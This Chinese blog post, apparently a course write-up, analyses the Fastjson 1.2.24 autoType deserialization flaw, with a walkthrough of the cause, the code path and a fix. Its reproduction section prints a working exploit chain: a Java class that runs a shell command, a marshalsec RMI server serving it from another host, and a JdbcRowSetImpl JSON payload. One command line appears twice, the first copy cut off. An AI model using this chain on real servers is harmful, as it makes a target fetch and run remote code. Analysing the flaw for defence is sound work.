概述
2021SC@SDUSC
前面的文章中已经分析了Fastjson反序列化的相关代码,涉及的方面很多、覆盖面也很全。可以看到,Fastjson是一款非常好的Json字符串反序列化工具,高效、简洁、无依赖、可定制。然而,高效的Json解析也给它带来了风险,最大的问题莫过于几年前爆出的1.2.24版本的远程代码执行漏洞,该漏洞现在已经修复,本篇文章将分析这个漏洞产生的原因,复现方式以及解决方案,还尝试从工具开发者的角度探讨如何避免此类漏洞的发生。
目录
- 漏洞复现
- 产生原因
- 技术背景
- 代码分析
- 解决方案
- 如何避免此类问题发生
漏洞复现
我们尝试让远程主机在它的/tmp目录下创建一个success文件,过程如下:
先写一个恶意Java类,该类的静态代码区中创建一个文件/tmp/success,代码如下
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
我们把这个类编译,将生成的TouchFile.class文件放到局域网中某个地址的www目录下,访问该地址即可下载文件。
然后我们再启动一个RMI服务器,监听指定端口,定制加载远程类TouchFile.class
mvn clean package -DskipTests
编译项目
会生成以下这个文件
执行以下命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.99.127
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.99.121:4444/#TouchFile” 9999
最后一步,抓包并执行我们准备好的poc:
POST / HTTP/1.1
Host: 192.168.99.100:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.99.121:9999/TouchFile",
"autoCommit":true
}
}
再看看服务端的结果:
显然,成功执行了远程代码并且生产了success文件。
产生原因
技术背景
JavaBean 是特殊的 Java 类,使用 Java 语言书写,并且遵守 JavaBean API 规范。JavaBean的特征:
提供一个默认的无参构造函数。
需要被序列化并且实现了 Serializable 接口。
可能有一系列可读写属性。
可能有一系列的 getter 或 setter 方法。
代码分析
Fastjson通过parseObject方法解析传入的json数据。
调用DefaultJSONParser缺省方法对json格式数据进行解析。
在方法的参数中,调用ParserConfig.getGlobalInstance()方法获取ParserConfig类中的初始配置,其中黑名单(denyList)也在此类中进行配置。
调用addDeny方法循环添加denyList数组中的黑名单。
回到DefaultJSONParser方法,初始化结束后,调用JSONScanner方法对传入的json字符串设置读取位置,判断过程中处理Unicode字符集的BOM标识。回到DefaultJSONParser方法,为token赋值。
回到JSON入口类,获取到DefaultJSONParser类型对象,调用parse()方法进行解析。
调用scanSymbol方法,以双引号作为quote变量值,进行@typejson字段值的value读取。
再调用JavaBeanDeserializer#parseRest方法,通过token值进入对应的代码块,从生成的sortedFieldDeserializers反序列化器中取出field反序列化器,并从取出属性值。
在RegistryImpl_Stub#lookup方法中,调用ref.newCall方法获取基于ref的RemoteCall类型的远程调用对象。并将访问远程rmi服务上的类名进行序列化,调用invoke方法传给远程服务。
之后将从远程获取的序列化数据进行反序列化,执行恶意序列化中的恶意命令。
解决方案
由于本漏洞是利用了Fastjson自带的Autotype属性,而Fastjson的设计者已经提供了关闭该服务的接口,我们只需要执行以下配置:
parserConfig.autoType.close();
即可让该漏洞无法复现
如何避免此类问题发生
作为程序的开发者,我们不仅要仔细完成编码工作,解决程序的功能需求和性能需求,更重要的是我们要对自己编写的程序进行测试。对于此类问题,我们既要完成单元测试——测试各个模块是否能独立工作,也要完成集成测试——测试各个模块能否共同作用完成相关功能。最后,不忘系统测试,这里介绍一种方法——黑盒测试法。我们可以把自己写的程序看作是一个黑盒,只关系我们程序的输入和输出,而先忽略其内部结构。然后等价划分多个测试用例,每个测试用例代表一类测试方案,其中既有合法输入也有非法输入,我们观测程序的输出结果,与我们的预期结果相比对。这样就能够快速发现我们程序中存在的漏洞。
最后
以上就是缥缈吐司为你收集整理的Fastjson源码分析—1.2.24漏洞分析的全部内容,希望文章能够帮你解决Fastjson源码分析—1.2.24漏洞分析所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复